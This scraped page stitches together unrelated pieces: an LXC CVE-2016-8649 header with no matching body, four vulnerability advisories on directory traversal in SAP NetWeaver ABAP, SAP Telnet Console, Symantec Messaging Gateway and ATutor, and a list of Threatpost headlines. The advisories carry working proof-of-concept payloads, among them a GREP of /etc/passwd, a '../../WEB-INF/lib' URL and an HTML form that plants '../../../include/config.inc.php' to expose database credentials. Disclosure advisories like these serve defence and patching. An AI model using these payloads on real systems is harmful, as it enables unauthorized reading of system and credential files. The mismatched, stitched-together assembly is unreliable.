Traversal

  • info
  • discussion
  • exploit
  • solution
  • references
LXC CVE-2016-8649 Directory Traversal Vulnerability

Bugtraq ID: 94498
Class: Input Validation Error
CVE: CVE-2016-8649
Remote: Yes
Local: No
Published: Nov 23 2016 12:00AM
Updated: Nov 24 2016 12:17AM
Credit: Roman Fiedler from AIT
Vulnerable: Ubuntu Ubuntu Linux 16.10
Ubuntu Ubuntu Linux 16.04 LTS
Ubuntu Ubuntu Linux 14.04 LTS
LXC LXC 2.0.5
LXC LXC 2.0.4
LXC LXC 2.0.3
LXC LXC 2.0.2
LXC LXC 2.0.1
LXC LXC 2.0
LXC LXC 1.0.8
LXC LXC 1.0.7
LXC LXC 1.0.6
LXC LXC 1.0.5
LXC LXC 1.0.4
LXC LXC 1.0.3
LXC LXC 1.0.2
LXC LXC 1.0.1
LXC LXC 1.0.0
Not Vulnerable:


SecurityFocus Vulnerabilities

Application: SAP NetWeaver AS ABAP

Versions Affected: SAP NetWeaver AS ABAP 7.4

Vendor URL: http://SAP.com

Bugs: Directory traversal

Sent: 22.04.2016

Reported: 23.04.2016

Vendor response: 23.04.2016

Date of Public Advisory: 09.08.2016

Reference: SAP Security Note 2312966

Author: Daria Prosochkina (ERPScan)

Description

1. ADVISORY INFORMATION

Title: [ERPSCAN-16-031] SAP NetWeaver AS ABAP a directory traversal
using READ DATASET

Advisory ID: [ERPSCAN-16-031]

Risk: high

Advisory URL: https://erpscan.com/advisories/erpscan-16-031-sap-netweaver-abap-directory-traversal-via-using-read-dataset/

Date published: 11.11.2016

Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: Directory traversal

Impact: read file from system

Remotely Exploitable: yes

Locally Exploitable: yes

CVSS Information

CVSS Base Score v3: 4.3 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) Low (L)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)

C : Impact to Confidentiality Low (L)

I : Impact to Integrity None (N)

A : Impact to Availability None (N)

3. VULNERABILITY DESCRIPTION

The code provides access to the file specified after the READ DATASET
statement. The variable transmitted to the input of the statement is
entered in it by user input. Thus, the user can access the files
stored on the operating system. This vulnerability is called a
Directory Traversal.

The attack is possible if the application does not check the user data
and does not delete special characters used for a directory traversal
attack from the variable, in which the filename is passed. As a
result, an attacker can read data from all files, to which the
application has access.

To discover this vulnerability, data flow analysis and other unique
techniques are used.

4. VULNERABLE PACKAGES

SAP_ABA 700

SAP_ABA 701

SAP_ABA 702

SAP_ABA 710

SAP_ABA 711

SAP_ABA 730

SAP_ABA 731

SAP_ABA 740

SAP_ABA 750

SAP_ABA 751

SAP_ABA 75A

SAP_ABA 75B

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2312966

6. AUTHOR

Daria Prosochkina (ERPScan)

7. TECHNICAL DESCRIPTION

Attacker can read any file from OS with use BUPA_BIP_FILE_IMPORT program.

Filename used in statement READ DATASET (line 428) is entered in this
statement by user input. User can pass to input arbitrary filepath,
for example /etc/passwd. As a result of execution of the
BUPA_BIP_FILE_IMPORT program, data from /etc/passwd will be written in
P_FLEN variable in hex format.

Vulnerable code

426. p_flen = 0.

427. DO.

428. READ DATASET p_ifilea INTO lw.

429.* Exit conditions for accessing in a loop

430. IF sy-subrc NE 0. EXIT. ENDIF.

431. APPEND lw TO p_itab .

432.

433. p_flen = p_flen + XSTRLEN( lw-d ) .

434. ENDDO.

8. REPORT TIMELINE

Sent: 22.04.2016

Reported: 23.04.2016

Vendor response: 23.04.2016

Date of Public Advisory: 09.08.2016

9. REFERENCES

[ERPSCAN-16-031] SAP NetWeaver AS ABAP – Directory traversal using READ DATASET

10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them, there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
aEmerging Vendora in Security by CRN, listed among aTOP 100 SAP
Solution providersa and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScanas primary mission is to close the gap between technical and
business security and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We afollow the suna and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.

Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan


Exploit Files ≈ Packet Storm

Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver AS JAVA 7.1 to 7.5

Vendor URL: http://SAP.com

Bugs: Directory traversal

Sent: 04.12.2015

Reported: 05.12.2015

Vendor response: 05.12.2015

Date of Public Advisory: 09.08.2016

Reference: SAP Security Note 2280371

Author: Mathieu Geli (ERPScan)

Description

1. ADVISORY INFORMATION

Title: [ERPSCAN-16-032] SAP Telnet Console a Directory traversal vulnerability

Advisory ID:[ERPSCAN-16-032]

Risk: high

Advisory URL: https://erpscan.com/advisories/erpscan-16-032-sap-netweaver-telnet-console-file-disclosure/

Date published: 11.11.2016

Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: Directory traversal

Impact: read file from system

Remotely Exploitable: yes

Locally Exploitable: yes

CVSS Information

CVSS Base Score v3: 3.4 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Adjacent (A)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) High (H)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component)

Changed (C)

C : Impact to Confidentiality

Low (L)

I : Impact to Integrity None (N)

A : Impact to Availability None (N)

3. VULNERABILITY DESCRIPTION

An authenticated user can disclose file content outside of the JVM
through the SAP Telnet Console service.

4. VULNERABLE PACKAGES

J2EE ENGINE SERVERCORE 7.10

J2EE ENGINE SERVERCORE 7.11

J2EE ENGINE SERVERCORE 7.20

J2EE ENGINE SERVERCORE 7.30

J2EE ENGINE SERVERCORE 7.31

J2EE ENGINE SERVERCORE 7.40

J2EE ENGINE SERVERCORE 7.50

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2280371

6. AUTHOR

Mathieu Geli (ERPScan)

7. TECHNICAL DESCRIPTION

SAP Netweaver Telnet Console File Disclosure via the GREP command of
the SYSTEM admin group.

7.1. Proof of Concept

GREP ":" /etc/passwd

at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash

bin:x:1:1:bin:/bin:/bin/bash

daemon:x:2:2:Daemon:/sbin:/bin/bash

[...]

8. REPORT TIMELINE

Sent: 04.12.2015

Reported: 05.12.2015

Vendor response: 05.12.2015

Date of Public Advisory: 09.08.2016

9. REFERENCES

[ERPSCAN-16-032] SAP Telnet Console – Directory traversal vulnerability

10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
aEmerging Vendora in Security by CRN, listed among aTOP 100 SAP
Solution providersa and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScanas primary mission is to close the gap between technical and
business security and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We afollow the suna and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.

Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan


Exploit Files ≈ Packet Storm

# Title : Symantec Messaging Gateway <= 10.6.1 Directory Traversal
# Date : 28/09/2016
# Author : R-73eN
# Tested on : Symantec Messaging Gateway 10.6.1 (Latest)
# Software : https://www.symantec.com/products/threat-protection/messaging-gateway
# Vendor : Symantec
# CVE : CVE-2016-5312
# Vendor Advisory and Fix: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160927_00
#
# ___ __ ____ _ _
# |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | |
# | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | |
# | || | | | _| (_) | |_| | __/ | | | / ___ \| |___
# |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|
#
#
# DESCRIPTION:
#
# A charting component in the Symantec Messaging Gateway control center does not properly sanitize user input submitted for charting requests.
# This could potentially result in an authorized but less privileged user gaining access to paths outside the authorized directory.
# This could potentially provide read access to some files/directories on the server for which the user is not authorized.
#
The problem relies in the package kavachart-kcServlet-5.3.2.jar , File : com/ve/kavachart/servlet/ChartStream.java
The vulnerable code is
extends HttpServlet {
public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
block6 : {
try {
String string = httpServletRequest.getParameter("sn");
//**** Taking parameter "sn" and writing it to the "string variable"

if (string == null) break block6;
String string2 = string.substring(string.length() - 3);

byte[] arrby = (byte[])this.getServletContext().getAttribute(string);

//**** The string variable is passed here without any sanitanization for directory traversal
//**** and you can successfully use this to do a directory traversal.

if (arrby != null)
httpServletResponse.setContentType("image/" + string2);
ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
httpServletResponse.setContentLength(arrby.length);
servletOutputStream.write(arrby);
this.getServletContext().removeAttribute(string);
break block6;

POC:
https://IP-address:PORT/brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/lib


Exploit Files ≈ Packet Storm

Academics Build Early-Warning Ransomware Detection System

July 14, 2016 , 1:05 pm

New Collision Attacks Against 3DES, Blowfish Allow for Cookie Decryption

August 24, 2016 , 8:00 am

Google Shuts Down Potentially Massive Android Bug

September 7, 2016 , 9:00 am

Threatpost News Wrap, September 2, 2016

September 2, 2016 , 9:00 am

Insecure Redis Instances at Core of Attacks Against Linux Servers

September 1, 2016 , 1:08 pm

Dropbox Forces Password Reset for Older Users

August 29, 2016 , 9:58 am

Cisco Begins Patching Equation Group ASA Zero Day

August 24, 2016 , 5:53 pm

Cisco Acknowledges ASA Zero Day Exposed by ShadowBrokers

August 17, 2016 , 4:06 pm

Pokémon GO Spam, Ransomware, On the Rise

August 17, 2016 , 12:58 pm

ProjectSauron APT On Par With Equation, Flame, Duqu

August 8, 2016 , 1:40 pm

Miller, Valasek Deliver Final Car Hacking Talk

August 4, 2016 , 3:26 pm

Researchers Go Inside a Business Email Compromise Scam

August 4, 2016 , 10:00 am

Export-Grade Crypto Patching Improves

August 3, 2016 , 10:00 am

Kaspersky Lab Launches Bug Bounty Program

August 2, 2016 , 9:00 am

Threatpost News Wrap, July 29, 2016

July 29, 2016 , 10:45 am

KeySniffer Vulnerability Opens Wireless Keyboards to Snooping

July 26, 2016 , 9:30 am

Upcoming Tor Design Battles Hidden Services Snooping

July 25, 2016 , 3:51 pm

EFF Files Lawsuit Challenging DMCA’s Restrictions on Security Researchers

July 21, 2016 , 1:18 pm

Oracle Patches Record 276 Vulnerabilities with July Critical Patch Update

July 20, 2016 , 9:21 am

Threatpost News Wrap, July 15, 2016

July 15, 2016 , 11:00 am

xDedic Hacked Server Market Resurfaces on Tor Domain

July 12, 2016 , 11:40 am

Conficker Used in New Wave of Hospital IoT Device Attacks

June 30, 2016 , 11:48 am

655,000 Healthcare Records Being Sold on Dark Web

June 28, 2016 , 10:00 am

Windows Zero Day Selling for $ 90,000

May 31, 2016 , 5:44 pm

Millions of Stolen MySpace, Tumblr Credentials Being Sold Online

May 31, 2016 , 1:37 pm

OTR Protocol Patched Against Remote Code Execution Flaw

March 10, 2016 , 10:23 am

Two Million Passwords Breached in Ubuntu Hack

July 18, 2016 , 1:17 pm

iOS 9.3.4 Patches Critical Code Execution Flaw

August 8, 2016 , 9:00 am

IoT Insecurity: Pinpointing the Problems

July 21, 2016 , 7:00 am

VeraCrypt Audit Under Way; Email Mystery Cleared Up

August 16, 2016 , 2:27 pm

New Gmail Alerts Warn of Unauthenticated Senders

August 11, 2016 , 2:10 pm

New Trojan SpyNote Installs Backdoor on Android Devices

July 29, 2016 , 12:21 pm


Threatpost | The first stop for security news

Advisory ID: HTB23297
Product: Atutor
Vendor: Atutor
Vulnerable Version(s): 2.2.1 and probably prior
Tested Version: 2.2.1
Advisory Publication: February 24, 2016 [without technical details]
Vendor Notification: February 24, 2016
Vendor Patch: July 1, 2016
Public Disclosure: August 2, 2016
Vulnerability Type: Path Traversal [CWE-22]
Risk Level: Medium
CVSSv3 Base Score: 5.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in a popular web-based e-learning system Atutor. A remote attacker can view contents of arbitrary local files on the target system with privileges of the web server.

The vulnerability may allow an attacker gain access to potentially sensitive web application and system information, and use received data to gain complete control over vulnerable web application.

Successful exploitation of vulnerability requires that user is registered and authenticated, but registration is open by default.

The vulnerability exists due to absence of filtration of user-supplied data passed via "icon" HTTP POST to "/mods/_core/courses/users/create_course.php" script, when saving information to database. A remote authenticated attacker can use directory traversal sequences (e.g. "../") in user's icon parameter to overwrite its value and then include arbitrary file on the system and view its contents.

The following PoC code can be used to replace path to useras icon in database. In this example, we will inject path to the system configuration "/include/config.inc.php" file:

<form action="http://[host]/mods/_core/courses/users/create_course.php" method="POST" name="f1" enctype="multipart/form-data">
<input type="hidden" name="form_course" value="true">
<input type="hidden" name="MAX_FILE_SIZE" value="819200">
<input type="hidden" name="course" value="0">
<input type="hidden" name="old_access" value="protected">
<input type="hidden" name="created_date" value="2016-02-17 13:20:26">
<input type="hidden" name="show_courses" value="0">
<input type="hidden" name="current_cat" value="0">
<input type="hidden" name="title" value="vulnerable">
<input type="hidden" name="pri_lang" value="en">
<input type="hidden" name="description" value="">
<input type="hidden" name="category_parent" value="0">
<input type="hidden" name="content_packaging" value="top">
<input type="hidden" name="rss" value="0">
<input type="hidden" name="access" value="protected">
<input type="hidden" name="release_date" value="0">
<input type="hidden" name="day_release" value="0">
<input type="hidden" name="month_release" value="0">
<input type="hidden" name="year_release" value="0">
<input type="hidden" name="hour_release" value="0">
<input type="hidden" name="min_release" value="0">
<input type="hidden" name="end_date" value="0">
<input type="hidden" name="day_end" value="0">
<input type="hidden" name="month_end" value="0">
<input type="hidden" name="year_end" value="2016">
<input type="hidden" name="hour_end" value="0">
<input type="hidden" name="min_end" value="0">
<input type="hidden" name="banner" value="">
<input type="hidden" name="initial_content" value="1">
<input type="hidden" name="quota" value="-2">
<input type="hidden" name="filesize" value="-3">
<input type="hidden" name="tracking" value="">
<input type="hidden" name="copyright" value="">
<input type="hidden" name="boolForce" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="">
<input type="hidden" name="customicon" value="">
<input type="hidden" name="custOptCount" value="0">
<input type="hidden" name="courseId" value="[COURSE_ID]">
<input type="hidden" name="icon" value="../../../include/config.inc.php">
<input type="button" name="submit" value="Save">
</form>

The injected parameter is used in "readfile()" function in the "/get_course_icon.php" script. To view contents of the "/include/config.inc.php" file and see database credentials, the attacker needs to open the following URL:

http:///get_course_icon.php?id=[COURSE_ID]

-----------------------------------------------------------------------------------------------

Solution:

Update to ATutor 2.2.2

More Information:
https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23297 - https://www.htbridge.com/advisory/HTB23297 - Arbitrary File Content Disclosure in Atutor
[2] Atutor - http://www.atutor.ca/ - ATutor is a FREE Open Source LMS, used to develop online courses and create elearning content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWebA(r) - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.


Exploit Files ≈ Packet Storm